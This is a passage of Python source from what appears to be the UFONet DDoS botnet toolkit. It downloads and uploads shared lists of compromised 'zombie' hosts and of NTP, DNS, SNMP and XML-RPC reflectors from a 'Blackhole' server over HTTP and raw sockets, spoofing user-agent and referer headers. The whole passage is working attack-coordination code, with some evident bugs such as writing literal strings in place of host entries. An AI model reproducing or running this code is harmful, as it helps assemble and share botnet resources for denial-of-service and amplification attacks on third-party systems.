  2475. f_out_abductions = open('botnet/abductions.txt', 'wb')
  2476. f_out_abductions.write(f_in_abductions.read())
  2477. f_in_abductions.close()
  2478. f_out_abductions.close()
  2479. num_zombies = 0
  2480. with open('botnet/abductions.txt') as f:
  2481. for _ in f:
  2482. num_zombies = num_zombies + 1
  2483. print("\n[Info] [Blackhole] Total [Zombies]: "+ str(num_zombies))
  2484. f_in_robots = gzip.open(BytesIO(robots_reply), 'rb')
  2485. f_out_robots = open('botnet/robots.txt', 'wb')
  2486. f_out_robots.write(f_in_robots.read())
  2487. f_in_robots.close()
  2488. f_out_robots.close()
  2489. num_robots = 0
  2490. with open('botnet/robots.txt') as f:
  2491. for _ in f:
  2492. num_robots = num_robots + 1
  2493. print("[Info] [Blackhole] Total [Droids] : "+ str(num_robots))
  2494. f_in_troops = gzip.open(BytesIO(troops_reply), 'rb')
  2495. f_out_troops = open('botnet/troops.txt', 'wb')
  2496. f_out_troops.write(f_in_troops.read())
  2497. f_in_troops.close()
  2498. f_out_troops.close()
  2499. num_aliens = 0
  2500. with open('botnet/aliens.txt') as f:
  2501. for _ in f:
  2502. num_aliens = num_aliens + 1
  2503. print("[Info] [Blackhole] Total [Aliens] : "+ str(num_aliens))
  2504. f_in_drones = gzip.open(BytesIO(drones_reply), 'rb')
  2505. f_out_drones = open('botnet/drones.txt', 'wb')
  2506. f_out_drones.write(f_in_drones.read())
  2507. f_in_drones.close()
  2508. f_out_drones.close()
  2509. num_drones = 0
  2510. with open('botnet/drones.txt') as f:
  2511. for _ in f:
  2512. num_drones = num_drones + 1
  2513. print("[Info] [Blackhole] Total [UCAVs] : "+ str(num_drones))
  2514. f_in_reflectors = gzip.open(BytesIO(reflectors_reply), 'rb')
  2515. f_out_reflectors = open('botnet/reflectors.txt', 'wb')
  2516. f_out_reflectors.write(f_in_reflectors.read())
  2517. f_in_reflectors.close()
  2518. f_out_reflectors.close()
  2519. num_reflectors = 0
  2520. with open('botnet/reflectors.txt') as f:
  2521. for _ in f:
  2522. num_reflectors = num_reflectors + 1
  2523. print("[Info] [Blackhole] Total [X-RPCs] : "+ str(num_reflectors))
  2524. f_in_crystals = gzip.open(BytesIO(crystals_reply), 'rb')
  2525. f_out_crystals = open('botnet/crystals.txt', 'wb')
  2526. f_out_crystals.write(f_in_crystals.read())
  2527. f_in_crystals.close()
  2528. f_out_crystals.close()
  2529. num_crystals = 0
  2530. with open('botnet/crystals.txt') as f:
  2531. for _ in f:
  2532. num_crystals = num_crystals + 1
  2533. print("[Info] [Blackhole] Total [NTPs] : "+ str(num_crystals))
  2534. f_in_warps = gzip.open(BytesIO(warps_reply), 'rb')
  2535. f_out_warps = open('botnet/warps.txt', 'wb')
  2536. f_out_warps.write(f_in_warps.read())
  2537. f_in_warps.close()
  2538. f_out_warps.close()
  2539. num_warps = 0
  2540. with open('botnet/warps.txt') as f:
  2541. for _ in f:
  2542. num_warps = num_warps + 1
  2543. print("[Info] [Blackhole] Total [DNSs] : "+ str(num_warps))
  2544. f_in_bosons = gzip.open(BytesIO(bosons_reply), 'rb')
  2545. f_out_bosons = open('botnet/bosons.txt', 'wb')
  2546. f_out_bosons.write(f_in_bosons.read())
  2547. f_in_bosons.close()
  2548. f_out_bosons.close()
  2549. num_bosons = 0
  2550. with open('botnet/bosons.txt') as f:
  2551. for _ in f:
  2552. num_bosons = num_bosons + 1
  2553. print("[Info] [Blackhole] Total [SNMPs] : "+ str(num_bosons))
  2554. print('-'*12 + '\n')
  2555. if not self.options.forceyes:
  2556. update_reply = input("[AI] Do you want to merge ONLY the new [Zombies] into [Blackhole]? (Y/n)")
  2557. print('-'*25)
  2558. else:
  2559. update_reply = "Y"
  2560. if update_reply == "n" or update_reply == "N":
  2561. os.remove('botnet/abductions.txt') # remove abductions file
  2562. os.remove('botnet/troops.txt') # remove troops file
  2563. os.remove('botnet/robots.txt') # remove robots file
  2564. os.remove('botnet/drones.txt') # remove drones file
  2565. os.remove('botnet/reflectors.txt') # remove reflectors file
  2566. os.remove('botnet/crystals.txt') # remove crystals file
  2567. os.remove('botnet/warps.txt') # remove warps file
  2568. os.remove('botnet/bosons.txt') # remove bosons file
  2569. print("\n[Info] [AI] [Control] Aborting uploading process and cleaning temporal files... -> [Exiting!]\n")
  2570. return
  2571. else:
  2572. print("\n[AI] Checking integrity of your list of [Zombies] -> [OK!]\n") # only upload valid zombies
  2573. print('='*35)
  2574. zombies = self.extract_zombies()
  2575. if not zombies:
  2576. return
  2577. test = self.testing(zombies)
  2578. zombies_community = []
  2579. zombies_added = 0
  2580. f = open('botnet/abductions.txt')
  2581. abductions = f.readlines()
  2582. abductions = [abduction.strip() for abduction in abductions]
  2583. f.close()
  2584. fz = open(self.zombies_file)
  2585. zombies = fz.readlines()
  2586. zombies = [zombie.strip() for zombie in zombies]
  2587. fz.close()
  2588. for zombie in zombies:
  2589. if zombie not in abductions:
  2590. zombies_community.append(zombie)
  2591. zombies_added = zombies_added + 1
  2592. else:
  2593. pass
  2594. print("[Info] [Blackhole] Added [Zombies]: " + str(zombies_added))
  2595. aliens = self.extract_aliens()
  2596. if not aliens:
  2597. return
  2598. aliens_community = []
  2599. aliens_added = 0
  2600. f = open('botnet/troops.txt')
  2601. troops = f.readlines()
  2602. troops = [troop.strip() for troop in troops]
  2603. f.close()
  2604. fz = open(self.aliens_file)
  2605. aliens = fz.readlines()
  2606. aliens = [alien.strip() for alien in aliens]
  2607. fz.close()
  2608. for alien in aliens:
  2609. if alien not in troops:
  2610. aliens_community.append(alien)
  2611. aliens_added = aliens_added + 1
  2612. else:
  2613. pass
  2614. print("[Info] [Blackhole] Added [Aliens] : " + str(aliens_added))
  2615. droids = self.extract_droids()
  2616. if not droids:
  2617. return
  2618. droids_community = []
  2619. droids_added = 0
  2620. f = open('botnet/robots.txt')
  2621. robots = f.readlines()
  2622. robots = [robot.strip() for robot in robots]
  2623. f.close()
  2624. fz = open(self.droids_file)
  2625. droids = fz.readlines()
  2626. droids = [droid.strip() for droid in droids]
  2627. fz.close()
  2628. for droid in droids:
  2629. if droid not in robots:
  2630. droids_community.append(droid)
  2631. droids_added = droids_added + 1
  2632. else:
  2633. pass
  2634. print("[Info] [Blackhole] Added [Droids] : " + str(droids_added))
  2635. ucavs = self.extract_ucavs()
  2636. if not ucavs:
  2637. return
  2638. ucavs_community = []
  2639. ucavs_added = 0
  2640. f = open('botnet/drones.txt')
  2641. drones = f.readlines()
  2642. drones = [drone.strip() for drone in drones]
  2643. f.close()
  2644. fz = open(self.ucavs_file)
  2645. ucavs = fz.readlines()
  2646. ucavs = [ucav.strip() for ucav in ucavs]
  2647. fz.close()
  2648. for ucav in ucavs:
  2649. if ucav not in drones:
  2650. ucavs_community.append(ucav)
  2651. ucavs_added = ucavs_added + 1
  2652. else:
  2653. pass
  2654. print("[Info] [Blackhole] Added [UCAVs] : " + str(ucavs_added))
  2655. rpcs = self.extract_rpcs()
  2656. if not rpcs:
  2657. return
  2658. rpcs_community = []
  2659. rpcs_added = 0
  2660. f = open('botnet/reflectors.txt')
  2661. reflectors = f.readlines()
  2662. reflectors = [reflector.strip() for reflector in reflectors]
  2663. f.close()
  2664. fz = open(self.rpcs_file)
  2665. rpcs = fz.readlines()
  2666. rpcs = [rpc.strip() for rpc in rpcs]
  2667. fz.close()
  2668. for rpc in rpcs:
  2669. if rpc not in reflectors:
  2670. rpcs_community.append(rpc)
  2671. rpcs_added = rpcs_added + 1
  2672. else:
  2673. pass
  2674. print("[Info] [Blackhole] Added [X-RPCs] : " + str(rpcs_added))
  2675. ntps = self.extract_ntps()
  2676. if not ntps:
  2677. return
  2678. ntps_community = []
  2679. ntps_added = 0
  2680. f = open('botnet/crystals.txt')
  2681. crystals = f.readlines()
  2682. crystals = [crystal.strip() for crystal in crystals]
  2683. f.close()
  2684. fz = open(self.ntps_file)
  2685. ntps = fz.readlines()
  2686. ntps = [ntp.strip() for ntp in ntps]
  2687. fz.close()
  2688. for ntp in ntps:
  2689. if ntp not in crystals:
  2690. ntps_community.append(ntp)
  2691. ntps_added = ntps_added + 1
  2692. else:
  2693. pass
  2694. print("[Info] [Blackhole] Added [NTPs] : " + str(ntps_added))
  2695. dnss = self.extract_dnss()
  2696. if not dnss:
  2697. return
  2698. dnss_community = []
  2699. dnss_added = 0
  2700. f = open('botnet/warps.txt')
  2701. warps = f.readlines()
  2702. warps = [warp.strip() for warp in warps]
  2703. f.close()
  2704. fz = open(self.dnss_file)
  2705. dnss = fz.readlines()
  2706. dnss = [dns.strip() for dns in dnss]
  2707. fz.close()
  2708. for dns in dnss:
  2709. if dns not in warps:
  2710. dnss_community.append(dns)
  2711. dnss_added = dnss_added + 1
  2712. else:
  2713. pass
  2714. print("[Info] [Blackhole] Added [DNSs] : " + str(dnss_added))
  2715. snmps = self.extract_snmps()
  2716. if not snmps:
  2717. return
  2718. snmps_community = []
  2719. snmps_added = 0
  2720. f = open('botnet/bosons.txt')
  2721. bosons = f.readlines()
  2722. bosons = [boson.strip() for boson in bosons]
  2723. f.close()
  2724. fz = open(self.snmps_file)
  2725. snmps = fz.readlines()
  2726. snmps = [snmp.strip() for snmp in snmps]
  2727. fz.close()
  2728. for snmp in snmps:
  2729. if snmp not in crystals:
  2730. snmps_community.append(snmp)
  2731. snmps_added = snmps_added + 1
  2732. else:
  2733. pass
  2734. print("[Info] [Blackhole] Added [SNMPs] : " + str(snmps_added))
  2735. print('-'*12 + '\n')
  2736. if zombies_added == 0 and aliens_added == 0 and droids_added == 0 and ucavs_added == 0 and rpcs_added == 0 and ntps_added == 0 and dnss_added == 0 and snmps_added == 0: # not any zombie
  2737. os.remove('botnet/abductions.txt') # remove abductions file
  2738. os.remove('botnet/troops.txt') # remove troops file
  2739. os.remove('botnet/robots.txt') # remove robots file
  2740. os.remove('botnet/drones.txt') # remove ucavs file
  2741. os.remove('botnet/reflectors.txt') # remove rpcs file
  2742. os.remove('botnet/crystals.txt') # remove crystals file
  2743. os.remove('botnet/warps.txt') # remove warps file
  2744. os.remove('botnet/bosons.txt') # remove snmps file
  2745. print("[Info] [AI] Try to search for new [Zombies]. These are already in this [Blackhole] -> [Exiting!]\n")
  2746. return
  2747. else:
  2748. print("[Info] [AI] Trying to upload new [Zombies] to [Blackhole]...\n")
  2749. fc = gzip.open('botnet/community_zombies.txt.gz', 'wb')
  2750. for zombie in zombies_community:
  2751. fc.write(b'zombie.strip()')
  2752. fc.close()
  2753. os.remove('botnet/abductions.txt') # remove abductions file
  2754. fc = gzip.open('botnet/community_aliens.txt.gz', 'wb')
  2755. for alien in aliens_community:
  2756. fc.write(b'alien.strip()')
  2757. fc.close()
  2758. os.remove('botnet/troops.txt') # remove troops file
  2759. fc = gzip.open('botnet/community_droids.txt.gz', 'wb')
  2760. for droid in droids_community:
  2761. fc.write(b'droid.strip()')
  2762. fc.close()
  2763. os.remove('botnet/robots.txt') # remove robots file
  2764. fc = gzip.open('botnet/community_ucavs.txt.gz', 'wb')
  2765. for ucav in ucavs_community:
  2766. fc.write(b'ucav.strip()')
  2767. fc.close()
  2768. os.remove('botnet/drones.txt') # remove drones file
  2769. fc = gzip.open('botnet/community_rpcs.txt.gz', 'wb')
  2770. for rpc in rpcs_community:
  2771. fc.write(b'rpc.strip()')
  2772. fc.close()
  2773. os.remove('botnet/reflectors.txt') # remove reflectors file
  2774. fc = gzip.open('botnet/community_ntps.txt.gz', 'wb')
  2775. for ntp in ntps_community:
  2776. fc.write(b'ntp.strip()')
  2777. fc.close()
  2778. os.remove('botnet/crystals.txt') # remove crystals file
  2779. fc = gzip.open('botnet/community_dnss.txt.gz', 'wb')
  2780. for dns in dnss_community:
  2781. fc.write(b'dns.strip()')
  2782. fc.close()
  2783. os.remove('botnet/warps.txt') # remove warps file
  2784. fc = gzip.open('botnet/community_snmps.txt.gz', 'wb')
  2785. for snmp in snmps_community:
  2786. fc.write(b'snmp.strip()')
  2787. fc.close()
  2788. os.remove('botnet/bosons.txt') # remove bosons file
  2789. try: # open a socket and send data to the blackhole reciever port
  2790. host = self.blackhole
  2791. cport = 9991
  2792. mport = 9990
  2793. try:
  2794. cs = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # send data
  2795. cs.connect((host, cport))
  2796. cs.send(("SEND " + 'community_zombies.txt.gz').encode())
  2797. cs.close()
  2798. f = open('botnet/community_zombies.txt.gz', "rb")
  2799. data = f.read()
  2800. f.close()
  2801. ms = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  2802. ms.connect((host, mport))
  2803. ms.send(data)
  2804. ms.close()
  2805. os.remove('botnet/community_zombies.txt.gz') # remove local zombies .gz file after transfer
  2806. time.sleep(1)
  2807. cs = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  2808. cs.connect((host, cport))
  2809. cs.send(("SEND " + 'community_aliens.txt.gz').encode())
  2810. cs.close()
  2811. f = open('botnet/community_aliens.txt.gz', "rb")
  2812. data = f.read()
  2813. f.close()
  2814. ms = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  2815. ms.connect((host, mport))
  2816. ms.send(data)
  2817. ms.close()
  2818. os.remove('botnet/community_aliens.txt.gz') # remove local aliens .gz file after transfer
  2819. time.sleep(1)
  2820. cs = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  2821. cs.connect((host, cport))
  2822. cs.send(("SEND " + 'community_robots.txt.gz').encode())
  2823. cs.close()
  2824. f = open('botnet/community_droids.txt.gz', "rb")
  2825. data = f.read()
  2826. f.close()
  2827. ms = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  2828. ms.connect((host, mport))
  2829. ms.send(data)
  2830. ms.close()
  2831. os.remove('botnet/community_droids.txt.gz') # remove local droids .gz file after transfer
  2832. time.sleep(1)
  2833. cs = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  2834. cs.connect((host, cport))
  2835. cs.send(("SEND " + 'community_ucavs.txt.gz').encode())
  2836. cs.close()
  2837. f = open('botnet/community_ucavs.txt.gz', "rb")
  2838. data = f.read()
  2839. f.close()
  2840. ms = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  2841. ms.connect((host, mport))
  2842. ms.send(data)
  2843. ms.close()
  2844. os.remove('botnet/community_ucavs.txt.gz') # remove local ucavs .gz file after transfer
  2845. time.sleep(1)
  2846. cs = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # send data one by one recieved by multithreading
  2847. cs.connect((host, cport))
  2848. cs.send(("SEND " + 'community_rpcs.txt.gz').encode())
  2849. cs.close()
  2850. f = open('botnet/community_rpcs.txt.gz', "rb")
  2851. data = f.read()
  2852. f.close()
  2853. ms = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  2854. ms.connect((host, mport))
  2855. ms.send(data)
  2856. ms.close()
  2857. os.remove('botnet/community_rpcs.txt.gz') # remove local rpcs .gz file after transfer
  2858. time.sleep(1)
  2859. cs = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # send data one by one recieved by multithreading
  2860. cs.connect((host, cport))
  2861. cs.send(("SEND " + 'community_ntps.txt.gz').encode())
  2862. cs.close()
  2863. f = open('botnet/community_ntps.txt.gz', "rb")
  2864. data = f.read()
  2865. f.close()
  2866. ms = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  2867. ms.connect((host, mport))
  2868. ms.send(data)
  2869. ms.close()
  2870. os.remove('botnet/community_ntps.txt.gz') # remove local ntps .gz file after transfer
  2871. time.sleep(1)
  2872. cs = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # send data one by one recieved by multithreading
  2873. cs.connect((host, cport))
  2874. cs.send(("SEND " + 'community_dnss.txt.gz').encode())
  2875. cs.close()
  2876. f = open('botnet/community_dnss.txt.gz', "rb")
  2877. data = f.read()
  2878. f.close()
  2879. ms = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  2880. ms.connect((host, mport))
  2881. ms.send(data)
  2882. ms.close()
  2883. os.remove('botnet/community_dnss.txt.gz') # remove local dnss .gz file after transfer
  2884. time.sleep(1)
  2885. cs = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # send data one by one recieved by multithreading
  2886. cs.connect((host, cport))
  2887. cs.send(("SEND " + 'community_snmps.txt.gz').encode())
  2888. cs.close()
  2889. f = open('botnet/community_snmps.txt.gz', "rb")
  2890. data = f.read()
  2891. f.close()
  2892. ms = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  2893. ms.connect((host, mport))
  2894. ms.send(data)
  2895. ms.close()
  2896. os.remove('botnet/community_snmps.txt.gz') # remove local snmps .gz file after transfer
  2897. time.sleep(2) # sleep a bit more
  2898. print('-'*12 + '\n')
  2899. print("[Info] [AI] Transfer -> [DONE!]\n")
  2900. except Exception as e:
  2901. print(str(e) + "\n")
  2902. except:
  2903. print('-'*12 + '\n')
  2904. print("[Error] [AI] Connecting sockets to [Blackhole] -> [Aborting!]\n")
  2905. return
  2906. except Exception as e:
  2907. print(str(e) + "\n")
  2908. print('-'*12 + '\n')
  2909. print("[Error] [AI] Unable to upload list of [Zombies] to this [Blackhole] -> [Exiting!]\n")
  2910. return
  2911. def update_gui_data(self):
  2912. # download all GUI stream data
  2913. self.user_agent = random.choice(self.agents).strip() # shuffle user-agent
  2914. headers = {'User-Agent' : self.user_agent, 'Referer' : self.referer} # set fake user-agent and referer
  2915. if self.options.proxy: # set proxy
  2916. self.proxy_transport(self.options.proxy)
  2917. if self.options.timeout: # set timeout
  2918. try:
  2919. timeout = int(self.options.timeout)
  2920. except:
  2921. timeout = 5
  2922. else:
  2923. timeout = 5
  2924. if timeout < 1:
  2925. timeout = 5
  2926. if self.options.forcessl:
  2927. news = urllib.request.Request('https://'+self.blackhole+'/ufonet/news.txt', None, headers)
  2928. news_reply = urllib.request.urlopen(news, context=self.ctx, timeout=timeout).read().decode('utf-8')
  2929. tv = urllib.request.Request('https://'+self.blackhole+'/ufonet/tv.txt', None, headers)
  2930. tv_reply = urllib.request.urlopen(tv, context=self.ctx, timeout=timeout).read().decode('utf-8')
  2931. missions = urllib.request.Request('https://'+self.blackhole+'/ufonet/missions.txt', None, headers)
  2932. missions_reply = urllib.request.urlopen(missions, context=self.ctx, timeout=timeout).read().decode('utf-8')
  2933. board = urllib.request.Request('https://'+self.blackhole+'/ufonet/board.txt', None, headers)
  2934. board_reply = urllib.request.urlopen(board, context=self.ctx, timeout=timeout).read().decode('utf-8')
  2935. grid = urllib.request.Request('https://'+self.blackhole+'/ufonet/grid.txt', None, headers)
  2936. grid_reply = urllib.request.urlopen(grid, context=self.ctx, timeout=timeout).read().decode('utf-8')
  2937. wargames = urllib.request.Request('https://'+self.blackhole+'/ufonet/wargames.txt', None, headers)
  2938. wargames_reply = urllib.request.urlopen(wargames, context=self.ctx, timeout=timeout).read().decode('utf-8')
  2939. links = urllib.request.Request('https://'+self.blackhole+'/ufonet/links.txt', None, headers)
  2940. links_reply = urllib.request.urlopen(links, context=self.ctx, timeout=timeout).read().decode('utf-8')
  2941. streams = urllib.request.Request('https://'+self.blackhole+'/ufonet/streams.txt', None, headers)
  2942. streams_reply = urllib.request.urlopen(streams, context=self.ctx, timeout=timeout).read().decode('utf-8')
  2943. globalnet = urllib.request.Request('https://'+self.blackhole+'/ufonet/globalnet.txt', None, headers)
  2944. globalnet_reply = urllib.request.urlopen(globalnet, context=self.ctx, timeout=timeout).read().decode('utf-8')
  2945. nodes = urllib.request.Request('https://'+self.blackhole+'/ufonet/nodes.txt', None, headers)
  2946. nodes_reply = urllib.request.urlopen(nodes, context=self.ctx, timeout=timeout).read().decode('utf-8')
  2947. else:
  2948. news = urllib.request.Request('http://'+self.blackhole+'/ufonet/news.txt', None, headers)
  2949. news_reply = urllib.request.urlopen(news, context=self.ctx).read().decode('utf-8')
  2950. tv = urllib.request.Request('http://'+self.blackhole+'/ufonet/tv.txt', None, headers)
  2951. tv_reply = urllib.request.urlopen(tv, context=self.ctx).read().decode('utf-8')
  2952. missions = urllib.request.Request('http://'+self.blackhole+'/ufonet/missions.txt', None, headers)
  2953. missions_reply = urllib.request.urlopen(missions, context=self.ctx).read().decode('utf-8')
  2954. board = urllib.request.Request('http://'+self.blackhole+'/ufonet/board.txt', None, headers)
  2955. board_reply = urllib.request.urlopen(board, context=self.ctx).read().decode('utf-8')
  2956. grid = urllib.request.Request('http://'+self.blackhole+'/ufonet/grid.txt', None, headers)
  2957. grid_reply = urllib.request.urlopen(grid, context=self.ctx).read().decode('utf-8')
  2958. wargames = urllib.request.Request('http://'+self.blackhole+'/ufonet/wargames.txt', None, headers)
  2959. wargames_reply = urllib.request.urlopen(wargames, context=self.ctx).read().decode('utf-8')
  2960. links = urllib.request.Request('http://'+self.blackhole+'/ufonet/links.txt', None, headers)
  2961. links_reply = urllib.request.urlopen(links, context=self.ctx).read().decode('utf-8')
  2962. streams = urllib.request.Request('http://'+self.blackhole+'/ufonet/streams.txt', None, headers)
  2963. streams_reply = urllib.request.urlopen(streams, context=self.ctx).read().decode('utf-8')
  2964. globalnet = urllib.request.Request('http://'+self.blackhole+'/ufonet/globalnet.txt', None, headers)
  2965. globalnet_reply = urllib.request.urlopen(globalnet, context=self.ctx).read().decode('utf-8')
  2966. nodes = urllib.request.Request('http://'+self.blackhole+'/ufonet/nodes.txt', None, headers)
  2967. nodes_reply = urllib.request.urlopen(nodes, context=self.ctx).read().decode('utf-8')
  2968. f = open(self.news_file, 'w')
  2969. f.write(news_reply)
  2970. f.close()
  2971. f = open(self.tv_file, 'w')
  2972. f.write(tv_reply)
  2973. f.close()
  2974. f = open(self.missions_file, 'w')
  2975. f.write(missions_reply)
  2976. f.close()
  2977. f = open(self.board_file, 'w')
  2978. f.write(board_reply)
  2979. f.close()
  2980. f = open(self.grid_file, 'w')
  2981. f.write(grid_reply)
  2982. f.close()
  2983. f = open(self.wargames_file, 'w')
  2984. f.write(wargames_reply)
  2985. f.close()
  2986. f = open(self.links_file, 'w')
  2987. f.write(links_reply)
  2988. f.close()
  2989. f = open(self.streams_file, 'w')
  2990. f.write(streams_reply)
  2991. f.close()
  2992. f = open(self.globalnet_file, 'w')
  2993. f.write(globalnet_reply)
  2994. f.close()
  2995. f = open(self.nodes_file, 'w')
  2996. f.write(nodes_reply)
  2997. f.close()
  2998. print('-'*25 + "\n")
  2999. print("[Info] [AI] GUI data correctly updated:\n")
  3000. if news_reply:
  3001. print("[Info] [AI] [News] : OK!")
  3002. if missions_reply:
  3003. print("[Info] [AI] [Missions] : OK!")
  3004. if board_reply:
  3005. print("[Info] [AI] [Board] : OK!")
  3006. if grid_reply:
  3007. print("[Info] [AI] [Grid] : OK!")
  3008. if wargames_reply:
  3009. print("[Info] [AI] [Wargames] : OK!")
  3010. if links_reply:
  3011. print("[Info] [AI] [Links] : OK!")
  3012. if streams_reply:
  3013. print("[Info] [AI] [Streams] : OK!")
  3014. if tv_reply:
  3015. print("[Info] [AI] [TV] : OK!")
  3016. if globalnet_reply:
  3017. print("[Info] [AI] [GlobalNet]: OK!")
  3018. if nodes_reply:
  3019. print("[Info] [AI] [Nodes] : OK!")
  3020. print('-'*25)
  3021. print("\n[AI] "+self.exit_msg+"\n")
  3022. def downloading_list(self):
  3023. # add your mirror to protect/share/distribute... [Zombies]
  3024. try:
  3025. print(("[AI] Trying [Blackhole] [Server]: "+self.blackhole+"\n"))
  3026. self.user_agent = random.choice(self.agents).strip() # shuffle user-agent
  3027. headers = {'User-Agent' : self.user_agent, 'Referer' : self.referer} # set fake user-agent and referer
  3028. if self.options.timeout: # set timeout
  3029. try:
  3030. timeout = int(self.options.timeout)
  3031. except:
  3032. timeout = 5
  3033. else:
  3034. timeout = 5
  3035. if timeout < 1:
  3036. timeout = 5
  3037. if self.options.proxy: # set proxy
  3038. self.proxy_transport(self.options.proxy)
  3039. if self.options.forcessl:
  3040. try:
  3041. req = urllib.request.Request('https://'+self.blackhole+'/ufonet/abductions.txt.gz', None, headers)
  3042. abductions_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  3043. except:
  3044. abductions_reply = ""
  3045. try:
  3046. req = urllib.request.Request('https://'+self.blackhole+'/ufonet/troops.txt.gz', None, headers)
  3047. troops_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  3048. except:
  3049. troops_reply = ""
  3050. try:
  3051. req = urllib.request.Request('https://'+self.blackhole+'/ufonet/robots.txt.gz', None, headers)
  3052. robots_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  3053. except:
  3054. robots_reply = ""
  3055. try:
  3056. req = urllib.request.Request('https://'+self.blackhole+'/ufonet/drones.txt.gz', None, headers)
  3057. drones_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  3058. except:
  3059. drones_reply = ""
  3060. try:
  3061. req = urllib.request.Request('https://'+self.blackhole+'/ufonet/reflectors.txt.gz', None, headers)
  3062. reflectors_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  3063. except:
  3064. reflectors_reply = ""
  3065. try:
  3066. req = urllib.request.Request('https://'+self.blackhole+'/ufonet/crystals.txt.gz', None, headers)
  3067. crystals_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  3068. except:
  3069. crystals_reply = ""
  3070. try:
  3071. req = urllib.request.Request('https://'+self.blackhole+'/ufonet/warps.txt.gz', None, headers)
  3072. warps_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  3073. except:
  3074. warps_reply = ""
  3075. try:
  3076. req = urllib.request.Request('https://'+self.blackhole+'/ufonet/bosons.txt.gz', None, headers)
  3077. bosons_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  3078. except:
  3079. bosons_reply = ""
  3080. else:
  3081. try:
  3082. req = urllib.request.Request('http://'+self.blackhole+'/ufonet/abductions.txt.gz', None, headers)
  3083. abductions_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  3084. except:
  3085. abductions_reply = ""
  3086. try:
  3087. req = urllib.request.Request('http://'+self.blackhole+'/ufonet/troops.txt.gz', None, headers)
  3088. troops_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  3089. except:
  3090. troops_reply = ""
  3091. try:
  3092. req = urllib.request.Request('http://'+self.blackhole+'/ufonet/robots.txt.gz', None, headers)
  3093. robots_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  3094. except:
  3095. robots_reply = ""
  3096. try:
  3097. req = urllib.request.Request('http://'+self.blackhole+'/ufonet/drones.txt.gz', None, headers)
  3098. drones_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  3099. except:
  3100. drones_reply = ""
  3101. try:
  3102. req = urllib.request.Request('http://'+self.blackhole+'/ufonet/reflectors.txt.gz', None, headers)
  3103. reflectors_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  3104. except:
  3105. reflectors_reply = ""
  3106. try:
  3107. req = urllib.request.Request('http://'+self.blackhole+'/ufonet/crystals.txt.gz', None, headers)
  3108. crystals_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  3109. except:
  3110. crystals_reply = ""
  3111. try:
  3112. req = urllib.request.Request('http://'+self.blackhole+'/ufonet/warps.txt.gz', None, headers)
  3113. warps_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  3114. except:
  3115. warps_reply = ""
  3116. try:
  3117. req = urllib.request.Request('http://'+self.blackhole+'/ufonet/bosons.txt.gz', None, headers)
  3118. bosons_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  3119. except:
  3120. bosons_reply = ""
  3121. if abductions_reply == "" and troops_reply == "" and robots_reply == "" and drones_reply == "" and reflectors_reply == "" and crystals_reply == "" and warps_reply == "" and bosons_reply == "":
  3122. print("[AI] [Control] [Blackhole] [Server] Reply: [VORTEX FAILED!]")
  3123. print('-'*12 + '\n')
  3124. print("[Error] [AI] Unable to download list of [Zombies] from this [Blackhole] [Server] -> [Exiting!]\n")
  3125. return
  3126. f = open('botnet/abductions.txt.gz', 'wb')
  3127. f.write(abductions_reply)
  3128. f.close()
  3129. f = open('botnet/troops.txt.gz', 'wb')
  3130. f.write(troops_reply)
  3131. f.close()
  3132. f = open('botnet/robots.txt.gz', 'wb')
  3133. f.write(robots_reply)
  3134. f.close()
  3135. f = open('botnet/drones.txt.gz', 'wb')
  3136. f.write(drones_reply)
  3137. f.close()
  3138. f = open('botnet/reflectors.txt.gz', 'wb')
  3139. f.write(reflectors_reply)
  3140. f.close()
  3141. f = open('botnet/crystals.txt.gz', 'wb')
  3142. f.write(crystals_reply)
  3143. f.close()
  3144. f = open('botnet/warps.txt.gz', 'wb')
  3145. f.write(warps_reply)
  3146. f.close()
  3147. f = open('botnet/bosons.txt.gz', 'wb')
  3148. f.write(bosons_reply)
  3149. f.close()
  3150. print("[AI] [Control] [Blackhole] [Server] Reply: [VORTEX READY!] ;-)")
  3151. except:
  3152. print("[AI] [Control] [Blackhole] [Server] Reply: [VORTEX FAILED!]")
  3153. print('-'*12 + '\n')
  3154. print("[Error] [AI] Unable to download list of [Zombies] from this [Blackhole] [Server] -> [Exiting!]\n")
  3155. return
  3156. print('-'*12 + '\n')
  3157. f_in_abductions = gzip.open('botnet/abductions.txt.gz', 'rb')
  3158. f_out_abductions = open('botnet/abductions.txt', 'wb')
  3159. f_out_abductions.write(f_in_abductions.read())
  3160. f_in_abductions.close()
  3161. f_out_abductions.close()
  3162. os.remove('botnet/abductions.txt.gz') # remove abductions .gz file
  3163. f_in_troops = gzip.open('botnet/troops.txt.gz', 'rb')
  3164. f_out_troops = open('botnet/troops.txt', 'wb')
  3165. f_out_troops.write(f_in_troops.read())
  3166. f_in_troops.close()
  3167. f_out_troops.close()
  3168. os.remove('botnet/troops.txt.gz') # remove troops .gz file
